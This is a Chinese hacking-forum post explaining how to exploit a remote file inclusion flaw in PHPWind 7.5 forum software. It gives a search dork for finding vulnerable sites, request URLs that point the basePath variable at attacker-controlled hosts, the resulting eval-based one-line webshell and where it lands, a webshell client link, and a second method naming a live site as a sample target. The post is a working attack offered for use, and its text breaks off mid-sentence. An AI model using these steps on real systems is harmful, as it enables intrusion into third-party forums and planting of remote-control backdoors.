    
- 帖子
- 3852
- 积分
- 13044
- 威望
- 16780
- 金钱
- 36761
- 在线时间
- 1139 小时
         
|
先声明为转载,方法测试可行
<?php
if ($route == "groups") {
require_once $basePath . '/action/m_groups.php';
} elseif ($route == "group") {
require_once $basePath . '/action/m_group.php';
} elseif ($route == "galbum") {
require_once $basePath . '/action/m_galbum.php';
}
这是PHPWIND程序有漏洞的源代码。
在代码里$route变量没有初始化,导致可以在外面给它赋值,当他的值为groups,他就会包含
$basePath . '/action/m_groups.php';这个文件,而这个文件的前半部分$basePath也是个变量,同时在程序里没有给它初始化。所以,再次给它赋值,我给它赋值为http://www.3ast.com.cn、所以他就包含了我这个页面http://www.3ast.com.cn/action/m_groups.php的代码,我只需要在我的页面里写入复制文件的代码即可写入一句话木马
关键字"PHPWIND 7.5" inurl:com/bbs
论坛根目录添加:
apps/groups/index.php?route=groups&basePath=http://www.3ast.com.cn
然后成功的话会产生一句话木马 <?php eval($_POST['cmd'])?> 在: 论坛根目录/data/tplcache/1ii1.php
一句话木马客户端:http://www.3ast.com.cn/tool/lanker.htm
--------------------------------------------------------------------------------
第二版!
和Jack.jun看完漏洞分析后研究出来利用方法
浏览器访问
http://qkxzlt.com/apps/groups/in ... jp.77169.net/x.txt?
访问后就可以包含文件并获得webshell(问好要带上,不然会失败)
要测试其他站是否存在漏洞,
加上apps/groups/index.php?route=groups&basePath=http://wjs001.3.xjp.77169.net/x.txt?
访问,获得shell说明漏洞存在并利用成功,不能获得shell说明漏洞打 |
|